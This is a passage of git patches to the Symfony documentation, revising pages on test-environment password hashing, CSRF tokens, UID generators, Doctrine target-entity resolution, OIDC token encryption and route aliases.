-                        algorithm: auto # This should be the same value as in config/packages/security.yaml
-                        cost: 4 # Lowest possible value for bcrypt
-                        time_cost: 3 # Lowest possible value for argon
-                        memory_cost: 10 # Lowest possible value for argon
+            # config/packages/security.yaml
+            when@test:
+                security:
+                    # ...
+
+                    password_hashers:
+                        # Use your user class name here
+                        App\Entity\User:
+                            algorithm: auto
+                            cost: 4 # Lowest possible value for bcrypt
+                            time_cost: 3 # Lowest possible value for argon
+                            memory_cost: 10 # Lowest possible value for argon
 
         .. code-block:: xml
 
-            <!-- config/packages/test/security.xml -->
+            <!-- config/packages/security.xml -->
             <?xml version="1.0" encoding="UTF-8"?>
             <srv:container xmlns="http://symfony.com/schema/dic/security"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -150,49 +147,42 @@ Further in this article, you can find a
                 xsi:schemaLocation="http://symfony.com/schema/dic/services
                     https://symfony.com/schema/dic/services/services-1.0.xsd">
 
-                <config>
-                    <!-- class: Use your user class name here -->
-                    <!-- algorithm: disable hashing (only do this in tests!) -->
-                    <security:password-hasher
-                        class="App\Entity\User"
-                        algorithm="plaintext"
-                    />
-
-                    <!-- or use the lowest possible values -->
-                    <!-- algorithm: This should be the same value as in config/packages/security.yaml -->
-                    <!-- cost: Lowest possible value for bcrypt -->
-                    <!-- time_cost: Lowest possible value for argon -->
-                    <!-- memory_cost: Lowest possible value for argon -->
-                    <security:password-hasher
-                        class="App\Entity\User"
-                        algorithm="auto"
-                        cost="4"
-                        time_cost="3"
-                        memory_cost="10"
-                    />
-                </config>
+                <when env="test">
+                    <config>
+                        <!-- class: Use your user class name here -->
+                        <!-- cost: Lowest possible value for bcrypt -->
+                        <!-- time_cost: Lowest possible value for argon -->
+                        <!-- memory_cost: Lowest possible value for argon -->
+                        <security:password-hasher
+                            class="App\Entity\User"
+                            algorithm="auto"
+                            cost="4"
+                            time_cost="3"
+                            memory_cost="10"
+                        />
+                    </config>
+                </when>
             </srv:container>
 
         .. code-block:: php
 
-            // config/packages/test/security.php
+            // config/packages/security.php
             use App\Entity\User;
+            use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
             use Symfony\Config\SecurityConfig;
 
-            return static function (SecurityConfig $security): void {
+            return static function (SecurityConfig $security, ContainerConfigurator $container): void {
                 // ...
 
-                // Use your user class name here
-                $security->passwordHasher(User::class)
-                    ->algorithm('plaintext'); // disable hashing (only do this in tests!)
-
-                // or use the lowest possible values
-                $security->passwordHasher(User::class)
-                    ->algorithm('auto') // This should be the same value as in config/packages/security.yaml
-                    ->cost(4) // Lowest possible value for bcrypt
-                    ->timeCost(2) // Lowest possible value for argon
-                    ->memoryCost(10) // Lowest possible value for argon
-                ;
+                if ('test' === $container->env()) {
+                    // Use your user class name here
+                    $security->passwordHasher(User::class)
+                        ->algorithm('auto') // This should be the same value as in config/packages/security.yaml
+                        ->cost(4) // Lowest possible value for bcrypt
+                        ->timeCost(2) // Lowest possible value for argon
+                        ->memoryCost(10) // Lowest possible value for argon
+                    ;
+                }
             };
 
 Hashing the Password

From 1851eae15c33913d2b483098b132ffb5ef548c5f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 08:13:25 +0200
Subject: [PATCH 7021/7107] Remove the wrong XML config sample

---
 security/passwords.rst | 27 ---------------------------
 1 file changed, 27 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 9ebfa122ab2..7f05bc3acb9 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -137,33 +137,6 @@ Further in this article, you can find a
                             time_cost: 3 # Lowest possible value for argon
                             memory_cost: 10 # Lowest possible value for argon
 
-        .. code-block:: xml
-
-            <!-- config/packages/security.xml -->
-            <?xml version="1.0" encoding="UTF-8"?>
-            <srv:container xmlns="http://symfony.com/schema/dic/security"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:srv="http://symfony.com/schema/dic/services"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-                <when env="test">
-                    <config>
-                        <!-- class: Use your user class name here -->
-                        <!-- cost: Lowest possible value for bcrypt -->
-                        <!-- time_cost: Lowest possible value for argon -->
-                        <!-- memory_cost: Lowest possible value for argon -->
-                        <security:password-hasher
-                            class="App\Entity\User"
-                            algorithm="auto"
-                            cost="4"
-                            time_cost="3"
-                            memory_cost="10"
-                        />
-                    </config>
-                </when>
-            </srv:container>
-
         .. code-block:: php
 
             // config/packages/security.php

From 7d13bac560ff6506c3eaaf734aa388d7f7d3bf19 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 08:28:54 +0200
Subject: [PATCH 7022/7107] Minor tweak

---
 security/csrf.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index 07e0671f07b..29fe96fa689 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -331,11 +331,12 @@ Stateless CSRF Tokens
 
 .. versionadded:: 7.2
 
-    Stateless anti-CSRF protection was introduced in Symfony 7.2, and set as default.
+    Stateless anti-CSRF protection was introduced in Symfony 7.2.
 
-Traditionally CSRF tokens are stateful, which means they're stored in the session.
-But some token ids can be declared as stateless using the ``stateless_token_ids``
-option:
+Traditionally, CSRF tokens are stateful, meaning they're stored in the session.
+However, some token IDs can be declared as stateless using the
+``stateless_token_ids`` option. Stateless CSRF tokens are enabled by default
+in applications using :ref:`Symfony Flex <symfony-flex>`.
 
 .. configuration-block::
 

From 881051cce0d0c678da689bcdd268f52e29c2a8de Mon Sep 17 00:00:00 2001
From: Dustin Meiner <168725484+curenect-meiner@users.noreply.github.com>
Date: Sun, 25 May 2025 14:39:42 +0200
Subject: [PATCH 7023/7107] Update uid.rst

with the string almost their is failure cause symfony dont find the class. This prevents it form it.
---
 components/uid.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index b031348f85a..fe15f964f44 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -527,6 +527,7 @@ entity primary keys::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Bridge\Doctrine\IdGenerator\UlidGenerator;
     use Symfony\Bridge\Doctrine\Types\UlidType;
     use Symfony\Component\Uid\Ulid;
 
@@ -535,7 +536,7 @@ entity primary keys::
         #[ORM\Id]
         #[ORM\Column(type: UlidType::NAME, unique: true)]
         #[ORM\GeneratedValue(strategy: 'CUSTOM')]
-        #[ORM\CustomIdGenerator(class: 'doctrine.ulid_generator')]
+        #[ORM\CustomIdGenerator(class: UlidGenerator::class)]
         private ?Ulid $id;
 
         public function getId(): ?Ulid

From f98e8dc1d1853dd88d0c40c28e441952b90a3538 Mon Sep 17 00:00:00 2001
From: chx <chx1975@gmail.com>
Date: Tue, 22 Apr 2025 08:47:55 +0200
Subject: [PATCH 7024/7107] Clarify the code flow a little bit more

---
 components/runtime.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/runtime.rst b/components/runtime.rst
index 4eb75de2a75..336a8573227 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -36,6 +36,8 @@ So how does this front-controller work? At first, the special
 the component. This file runs the following logic:
 
 #. It instantiates a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`;
+#. The runtime includes the front-controller script -- in this case
+   ``public/index.php`` -- making it run again. Make sure this doesn't cause problems.
 #. The callable (returned by ``public/index.php``) is passed to the Runtime, whose job
    is to resolve the arguments (in this example: ``array $context``);
 #. Then, this callable is called to get the application (``App\Kernel``);

From 7ada520c4c6856701cd7e4a30df9314da859c086 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 09:11:49 +0200
Subject: [PATCH 7025/7107] Minor tweak

---
 components/runtime.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 336a8573227..770ea102563 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -36,8 +36,9 @@ So how does this front-controller work? At first, the special
 the component. This file runs the following logic:
 
 #. It instantiates a :class:`Symfony\\Component\\Runtime\\RuntimeInterface`;
-#. The runtime includes the front-controller script -- in this case
-   ``public/index.php`` -- making it run again. Make sure this doesn't cause problems.
+#. The front-controller script (e.g. ``public/index.php``) is included by the
+   runtime, making it run again. Ensure this doesn't produce any side effects
+   in your code;
 #. The callable (returned by ``public/index.php``) is passed to the Runtime, whose job
    is to resolve the arguments (in this example: ``array $context``);
 #. Then, this callable is called to get the application (``App\Kernel``);

From 4e67b7324679f9fbffa24aad0d0635c41be8285a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 09:21:16 +0200
Subject: [PATCH 7026/7107] Reword

---
 messenger.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index e37f075518a..97b95565fa7 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2468,7 +2468,8 @@ Possible options to configure with tags are:
     Name of the method that will process the message.
 
 ``priority``
-    Priority of the handler when multiple handlers can process the same message; higher values will be processed first.
+    Defines the order in which the handler is executed when multiple handlers
+    can process the same message; those with higher priority run first.
 
 .. _handler-subscriber-options:
 

From 9323d4717cbbbdf31108d122982e821330a75e89 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 09:22:09 +0200
Subject: [PATCH 7027/7107] [Messenger] Backoport an improvement in the
 priority description

---
 messenger.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 18c7be913b5..cc0b13c3467 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2416,7 +2416,8 @@ Possible options to configure with tags are:
     Name of the method that will process the message.
 
 ``priority``
-    Priority of the handler when multiple handlers can process the same message.
+    Defines the order in which the handler is executed when multiple handlers
+    can process the same message; those with higher priority run first.
 
 .. _handler-subscriber-options:
 

From 01f381305940492ddbbfc0ab54a30db383971ac4 Mon Sep 17 00:00:00 2001
From: ifiroth <97906657+ifiroth@users.noreply.github.com>
Date: Tue, 27 May 2025 11:11:06 +0200
Subject: [PATCH 7028/7107] Update voters.rst

I think you're missing an argument here
---
 security/voters.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 2b4a5af54e2..f20e1de62af 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -186,7 +186,7 @@ would look like this::
 
             return match($attribute) {
                 self::VIEW => $this->canView($post, $user),
-                self::EDIT => $this->canEdit($post, $user),
+                self::EDIT => $this->canEdit($post, $user, $vote),
                 default => throw new \LogicException('This code should not be reached!')
             };
         }
@@ -202,7 +202,7 @@ would look like this::
             return !$post->isPrivate();
         }
 
-        private function canEdit(Post $post, User $user): bool
+        private function canEdit(Post $post, User $user, ?Vote $vote): bool
         {
             // this assumes that the Post object has a `getAuthor()` method
             if ($user === $post->getAuthor()) {

From 91a952566fc2a93c08cb162eeddb1fc83edef0ab Mon Sep 17 00:00:00 2001
From: NanoSector <rick@nanosector.nl>
Date: Mon, 24 Mar 2025 21:31:11 +0100
Subject: [PATCH 7029/7107] [Doctrine] entityvalueresolver target entities

---
 doctrine.rst                       | 22 +++++++++++++++++
 doctrine/resolve_target_entity.rst | 39 +++++++++++++++++-------------
 2 files changed, 44 insertions(+), 17 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 171f8a3348a..876aaa3065d 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -780,6 +780,28 @@ variable. Let's say you want the first or the last comment of a product dependin
         Comment $comment
     ): Response {
     }
+    
+.. _doctrine-entity-value-resolver-resolve-target-entities:
+    
+Fetch via Interfaces
+~~~~~~~~~~~~~~~~~~~~
+
+Suppose your ``Product`` object implements an interface called ``ProductInterface``.
+If you want to decouple your controllers from your entity implementations, you can instead reference entities via an interface.
+To do this, first you need to configure the :doc:`resolve_target_entities option </doctrine/resolve_target_entity>`.
+        
+Your controller can then reference the Product entity by its interface instead::
+
+        public function show(
+            #[MapEntity]
+            ProductInterface $product
+        ): Response {
+            // ...
+        }
+        
+.. versionadded:: 7.3
+
+    Support for ``resolve_target_entites`` in the ``EntityValueResolver`` was introduced in Symfony 7.3.
 
 MapEntity Options
 ~~~~~~~~~~~~~~~~~
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 5ae6475a957..c55b27f6463 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -1,30 +1,35 @@
-How to Define Relationships with Abstract Classes and Interfaces
-================================================================
+Referencing Entities with Abstract Classes and Interfaces
+=========================================================
 
-One of the goals of bundles is to create discrete bundles of functionality
-that do not have many (if any) dependencies, allowing you to use that
-functionality in other applications without including unnecessary items.
+In applications where functionality is segregated with minimal concrete dependencies
+between the various layers, such as monoliths which are split into multiple modules,
+it might be hard to prevent hard dependencies on entities between modules.
 
 Doctrine 2.2 includes a new utility called the ``ResolveTargetEntityListener``,
 that functions by intercepting certain calls inside Doctrine and rewriting
 ``targetEntity`` parameters in your metadata mapping at runtime. It means that
-in your bundle you are able to use an interface or abstract class in your
-mappings and expect correct mapping to a concrete entity at runtime.
+you are able to use an interface or abstract class in your mappings and expect
+correct mapping to a concrete entity at runtime.
 
 This functionality allows you to define relationships between different entities
 without making them hard dependencies.
 
+.. tip::
+
+    Starting with Symfony 7.3, this functionality also works with the ``EntityValueResolver``.
+    See :ref:`doctrine-entity-value-resolver-resolve-target-entities` for more details.
+
 Background
 ----------
 
-Suppose you have an InvoiceBundle which provides invoicing functionality
-and a CustomerBundle that contains customer management tools. You want
-to keep these separated, because they can be used in other systems without
-each other, but for your application you want to use them together.
+Suppose you have an application which provides two modules; an Invoice module which
+provides invoicing functionality, and a Customer module that contains customer management
+tools. You want to keep dependencies between these modules separated, because they should
+not be aware of the other module's implementation details.
 
-In this case, you have an ``Invoice`` entity with a relationship to a
-non-existent object, an ``InvoiceSubjectInterface``. The goal is to get
-the ``ResolveTargetEntityListener`` to replace any mention of the interface
+In this case, you have an ``Invoice`` entity with a relationship to the interface
+``InvoiceSubjectInterface``. This is not recognized as a valid entity by Doctrine.
+The goal is to get the ``ResolveTargetEntityListener`` to replace any mention of the interface
 with a real object that implements that interface.
 
 Set up
@@ -89,7 +94,7 @@ An InvoiceSubjectInterface::
         public function getName(): string;
     }
 
-Next, you need to configure the listener, which tells the DoctrineBundle
+Next, you need to configure the ``resolve_target_entities`` option, which tells the DoctrineBundle
 about the replacement:
 
 .. configuration-block::
@@ -141,6 +146,6 @@ Final Thoughts
 --------------
 
 With the ``ResolveTargetEntityListener``, you are able to decouple your
-bundles, keeping them usable by themselves, but still being able to
+modules, keeping them usable by themselves, but still being able to
 define relationships between different objects. By using this method,
-your bundles will end up being easier to maintain independently.
+your modules will end up being easier to maintain independently.

From e6ba3a96ec8c28f692dedb1bc22a423868aad574 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 12:02:55 +0200
Subject: [PATCH 7030/7107] Rewords

---
 doctrine.rst                       | 28 +++++++------
 doctrine/resolve_target_entity.rst | 67 ++++++++++++++----------------
 2 files changed, 48 insertions(+), 47 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index e66488beefd..ecaf675df08 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -789,22 +789,26 @@ variable. Let's say you want the first or the last comment of a product dependin
 Fetch via Interfaces
 ~~~~~~~~~~~~~~~~~~~~
 
-Suppose your ``Product`` object implements an interface called ``ProductInterface``.
-If you want to decouple your controllers from your entity implementations, you can instead reference entities via an interface.
-To do this, first you need to configure the :doc:`resolve_target_entities option </doctrine/resolve_target_entity>`.
-        
-Your controller can then reference the Product entity by its interface instead::
+Suppose your ``Product`` class implements an interface called ``ProductInterface``.
+If you want to decouple your controllers from the concrete entity implementation,
+you can reference the entity by its interface instead.
 
-        public function show(
-            #[MapEntity]
-            ProductInterface $product
-        ): Response {
-            // ...
-        }
+To enable this, first configure the
+:doc:`resolve_target_entities option </doctrine/resolve_target_entity>`.
+Then, your controller can type-hint the interface, and the entity will be
+resolved automatically::
+
+    public function show(
+        #[MapEntity]
+        ProductInterface $product
+    ): Response {
+        // ...
+    }
         
 .. versionadded:: 7.3
 
-    Support for ``resolve_target_entites`` in the ``EntityValueResolver`` was introduced in Symfony 7.3.
+    Support for target entity resolution in the ``EntityValueResolver`` was
+    introduced Symfony 7.3
 
 MapEntity Options
 ~~~~~~~~~~~~~~~~~
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index c55b27f6463..1495f475628 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -1,44 +1,45 @@
 Referencing Entities with Abstract Classes and Interfaces
 =========================================================
 
-In applications where functionality is segregated with minimal concrete dependencies
-between the various layers, such as monoliths which are split into multiple modules,
-it might be hard to prevent hard dependencies on entities between modules.
+In applications where functionality is organized in layers or modules with
+minimal concrete dependencies, such as monoliths split into multiple modules,
+it can be challenging to avoid tight coupling between entities.
 
-Doctrine 2.2 includes a new utility called the ``ResolveTargetEntityListener``,
-that functions by intercepting certain calls inside Doctrine and rewriting
-``targetEntity`` parameters in your metadata mapping at runtime. It means that
-you are able to use an interface or abstract class in your mappings and expect
-correct mapping to a concrete entity at runtime.
+Doctrine provides a utility called the ``ResolveTargetEntityListener`` to solve
+this issue. It works by intercepting certain calls within Doctrine and rewriting
+``targetEntity`` parameters in your metadata mapping at runtime. This allows you
+to reference an interface or abstract class in your mappings and have it resolved
+to a concrete entity at runtime.
 
-This functionality allows you to define relationships between different entities
-without making them hard dependencies.
+This makes it possible to define relationships between entities without
+creating hard dependencies. This feature also works with the ``EntityValueResolver``
+:ref:`as explained in the main Doctrine article <doctrine-entity-value-resolver-resolve-target-entities>`.
 
-.. tip::
+.. versionadded:: 7.3
 
-    Starting with Symfony 7.3, this functionality also works with the ``EntityValueResolver``.
-    See :ref:`doctrine-entity-value-resolver-resolve-target-entities` for more details.
+    Support for target entity resolution in the ``EntityValueResolver`` was
+    introduced Symfony 7.3
 
 Background
 ----------
 
-Suppose you have an application which provides two modules; an Invoice module which
-provides invoicing functionality, and a Customer module that contains customer management
-tools. You want to keep dependencies between these modules separated, because they should
-not be aware of the other module's implementation details.
+Suppose you have an application with two modules: an Invoice module that
+provides invoicing functionality, and a Customer module that handles customer
+management. You want to keep these modules decoupled, so that neither is aware
+of the other's implementation details.
 
-In this case, you have an ``Invoice`` entity with a relationship to the interface
-``InvoiceSubjectInterface``. This is not recognized as a valid entity by Doctrine.
-The goal is to get the ``ResolveTargetEntityListener`` to replace any mention of the interface
-with a real object that implements that interface.
+In this case, your ``Invoice`` entity has a relationship to the interface
+``InvoiceSubjectInterface``. Since interfaces are not valid Doctrine entities,
+the goal is to use the ``ResolveTargetEntityListener`` to replace all
+references to this interface with a concrete class that implements it.
 
 Set up
 ------
 
-This article uses the following two basic entities (which are incomplete for
-brevity) to explain how to set up and use the ``ResolveTargetEntityListener``.
+This article uses two basic (incomplete) entities to demonstrate how to set up
+and use the ``ResolveTargetEntityListener``.
 
-A Customer entity::
+A ``Customer`` entity::
 
     // src/Entity/Customer.php
     namespace App\Entity;
@@ -55,7 +56,7 @@ A Customer entity::
         // are already implemented in the BaseCustomer
     }
 
-An Invoice entity::
+An ``Invoice`` entity::
 
     // src/Entity/Invoice.php
     namespace App\Entity;
@@ -63,9 +64,6 @@ An Invoice entity::
     use App\Model\InvoiceSubjectInterface;
     use Doctrine\ORM\Mapping as ORM;
 
-    /**
-     * Represents an Invoice.
-     */
     #[ORM\Entity]
     #[ORM\Table(name: 'invoice')]
     class Invoice
@@ -74,7 +72,7 @@ An Invoice entity::
         protected InvoiceSubjectInterface $subject;
     }
 
-An InvoiceSubjectInterface::
+The interface representing the subject used in the invoice::
 
     // src/Model/InvoiceSubjectInterface.php
     namespace App\Model;
@@ -94,8 +92,8 @@ An InvoiceSubjectInterface::
         public function getName(): string;
     }
 
-Next, you need to configure the ``resolve_target_entities`` option, which tells the DoctrineBundle
-about the replacement:
+Now configure the ``resolve_target_entities`` option to tell Doctrine
+how to replace the interface with the concrete class:
 
 .. configuration-block::
 
@@ -145,7 +143,6 @@ about the replacement:
 Final Thoughts
 --------------
 
-With the ``ResolveTargetEntityListener``, you are able to decouple your
-modules, keeping them usable by themselves, but still being able to
-define relationships between different objects. By using this method,
-your modules will end up being easier to maintain independently.
+Using ``ResolveTargetEntityListener`` allows you to decouple your modules
+while still defining relationships between their entities. This makes your
+codebase more modular and easier to maintain over time.

From a94507c576e7bebbb126116b3fb9bfe6e6dbd55e Mon Sep 17 00:00:00 2001
From: Dustin Meiner <168725484+curenect-meiner@users.noreply.github.com>
Date: Tue, 27 May 2025 11:36:02 +0200
Subject: [PATCH 7031/7107] Update uid.rst

---
 components/uid.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index fe15f964f44..4b6938e98d2 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -331,6 +331,7 @@ entity primary keys::
     namespace App\Entity;
 
     use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Bridge\Doctrine\IdGenerator\UuidGenerator;
     use Symfony\Bridge\Doctrine\Types\UuidType;
     use Symfony\Component\Uid\Uuid;
 
@@ -339,7 +340,7 @@ entity primary keys::
         #[ORM\Id]
         #[ORM\Column(type: UuidType::NAME, unique: true)]
         #[ORM\GeneratedValue(strategy: 'CUSTOM')]
-        #[ORM\CustomIdGenerator(class: 'doctrine.uuid_generator')]
+        #[ORM\CustomIdGenerator(class: UuidGenerator::class)]
         private ?Uuid $id;
 
         public function getId(): ?Uuid

From 15728d3dbe8e79d47d0cef98b5c784673ed72619 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 May 2025 13:05:49 +0200
Subject: [PATCH 7032/7107] Minor tweaks

---
 security/access_token.rst | 20 ++++++++++++--------
 1 file changed, 12 insertions(+), 8 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 0370949e584..4d358aec526 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -411,15 +411,15 @@ and retrieve the user info:
             ;
         };
 
-To enable the `OpenID Connect Discovery`_, the ``OidcUserInfoTokenHandler``
+To enable `OpenID Connect Discovery`_, the ``OidcUserInfoTokenHandler``
 requires the ``symfony/cache`` package to store the OIDC configuration in
-cache. If you haven't installed it yet, run this command:
+the cache. If you haven't installed it yet, run the following command:
 
 .. code-block:: terminal
 
     $ composer require symfony/cache
 
-Then, configure the ``base_uri`` and ``discovery`` keys:
+Next, configure the ``base_uri`` and ``discovery`` options:
 
 .. configuration-block::
 
@@ -477,6 +477,10 @@ Then, configure the ``base_uri`` and ``discovery`` keys:
             ;
         };
 
+.. versionadded:: 7.3
+
+    Support for OpenID Connect Discovery was introduced in Symfony 7.3.
+
 Following the `OpenID Connect Specification`_, the ``sub`` claim is used as user
 identifier by default. To use another claim, specify it on the configuration:
 
@@ -691,16 +695,16 @@ it and retrieve the user info from it:
     The support of multiple algorithms to sign the JWS was introduced in Symfony 7.1.
     In previous versions, only the ``ES256`` algorithm was supported.
 
-To enable the `OpenID Connect Discovery`_, the ``OidcTokenHandler``
-requires the ``symfony/cache`` package to store the OIDC configuration in
-cache. If you haven't installed it yet, run this command:
+To enable `OpenID Connect Discovery`_, the ``OidcTokenHandler`` requires the
+``symfony/cache`` package to store the OIDC configuration in the cache. If you
+haven't installed it yet, run the following command:
 
 .. code-block:: terminal
 
     $ composer require symfony/cache
 
-Then, you can remove the ``keyset`` configuration key (it will be imported from
-the OpenID Connect Discovery), and configure the ``discovery`` key:
+Then, you can remove the ``keyset`` configuration option (it will be imported
+from the OpenID Connect Discovery), and configure the ``discovery`` option:
 
 .. configuration-block::
 

From 8b403f7948d9ce2bcec4f63b2783d8a055436a90 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Sun, 9 Feb 2025 10:44:02 +0100
Subject: [PATCH 7033/7107] Add support for encrypted access tokens (JWE) in
 OIDC

This update introduces support for decrypting encrypted access tokens (JWE) in Symfony 7.3. It includes configuration options for enabling encryption, enforcing it, specifying decryption algorithms, and providing decryption keysets. The feature extends flexibility in handling secure tokens alongside existing signing mechanisms.
---
 security/access_token.rst | 27 ++++++++++++++++++++++++---
 1 file changed, 24 insertions(+), 3 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 4d358aec526..70c9e21980e 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -615,8 +615,8 @@ If you haven't installed it yet, run this command:
 
     $ composer require web-token/jwt-library
 
-Symfony provides a generic ``OidcTokenHandler`` to decode your token, validate
-it and retrieve the user info from it:
+Symfony provides a generic ``OidcTokenHandler`` that decodes the token, validates
+it, and retrieves the user information from it. Optionally, the token can be encrypted (JWE):
 
 .. configuration-block::
 
@@ -637,6 +637,11 @@ it and retrieve the user info from it:
                                 audience: 'api-example'
                                 # Issuers (`iss` claim): required for validation purpose
                                 issuers: ['https://oidc.example.com']
+                                encryption:
+                                    enabled: true # Default to false
+                                    enforce: false # Default to false, requires an encrypted token when true
+                                    algorithms: ['ECDH-ES', 'A128GCM']
+                                    keyset: '{"keys": [...]}' # Encryption private keyset
 
     .. code-block:: xml
 
@@ -662,6 +667,10 @@ it and retrieve the user info from it:
                                 <algorithm>ES256</algorithm>
                                 <algorithm>RS256</algorithm>
                                 <issuer>https://oidc.example.com</issuer>
+                                <encryption enabled="true" enforce="true" keyset="{'keys': [...]}">
+                                    <algorithm>ECDH-ES</algorithm>
+                                    <algorithm>A128GCM</algorithm>
+                                </encryption>
                             </oidc>
                         </token-handler>
                     </access-token>
@@ -681,12 +690,20 @@ it and retrieve the user info from it:
                         ->oidc()
                             // Algorithm used to sign the JWS
                             ->algorithms(['ES256', 'RS256'])
-                            // A JSON-encoded JWK
+                            // A JSON-encoded JWKSet (public keys)
                             ->keyset('{"keys":[{"kty":"...","k":"..."}]}')
                             // Audience (`aud` claim): required for validation purpose
                             ->audience('api-example')
                             // Issuers (`iss` claim): required for validation purpose
                             ->issuers(['https://oidc.example.com'])
+                            ->encryption()
+                                ->enabled(true) //Default to false
+                                ->enforce(false) //Default to false, requires an encrypted token when true
+                                // Algorithm used to decrypt the JWE
+                                ->algorithms(['ECDH-ES', 'A128GCM'])
+                                // A JSON-encoded JWKSet (private keys)
+                                ->keyset('{"keys":[...]}')
+
             ;
         };
 
@@ -695,6 +712,10 @@ it and retrieve the user info from it:
     The support of multiple algorithms to sign the JWS was introduced in Symfony 7.1.
     In previous versions, only the ``ES256`` algorithm was supported.
 
+.. versionadded:: 7.3
+
+    Support for encryption algorithms to decrypt JWEs was introduced in Symfony 7.3.
+
 To enable `OpenID Connect Discovery`_, the ``OidcTokenHandler`` requires the
 ``symfony/cache`` package to store the OIDC configuration in the cache. If you
 haven't installed it yet, run the following command:

From 22cd58eb815c7c672ab3d4f7164ed8a51dcca7bd Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@proton.me>
Date: Sun, 9 Feb 2025 17:56:57 +0100
Subject: [PATCH 7034/7107] [Routing] Add Attribute code examples for alias in
 `#[Route]` attribute

---
 routing.rst | 81 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 81 insertions(+)

diff --git a/routing.rst b/routing.rst
index e634a410c37..2f18b121472 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1340,6 +1340,23 @@ have been renamed. Let's say you have a route called ``product_show``:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/Controller/ProductController.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Attribute\Route;
+
+        class ProductController
+        {
+            #[Route('/product/{id}', name: 'product_show')]
+            public function show(): Response
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -1376,6 +1393,25 @@ Instead of duplicating the original route, you can create an alias for it.
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/Controller/ProductController.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Attribute\Route;
+
+        class ProductController
+        {
+            // "alias" named argument indicates the name of the alias you want to create.
+            // The alias will point to the actual route "product_show"
+            #[Route('/product/{id}', name: 'product_show', alias: ['product_details'])]
+            public function show(): Response
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/routes.yaml
@@ -1416,6 +1452,15 @@ Instead of duplicating the original route, you can create an alias for it.
 In this example, both ``product_show`` and ``product_details`` routes can
 be used in the application and will produce the same result.
 
+.. note::
+
+    Using non-attributes formats (YAML, XML and PHP) is the only way
+    to define an alias pointing to a route that you don't own.
+
+    So that you can use your own route name for URL generation,
+    while actually using a route defined by a third-party bundle as the target of that URL generation,
+    as the 2 definitions are not required to be in the same config file (or even in the same format).
+
 .. _routing-alias-deprecation:
 
 Deprecating Route Aliases
@@ -1436,6 +1481,42 @@ This way, the ``product_show`` alias could be deprecated.
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/Controller/ProductController.php
+        namespace App\Controller;
+
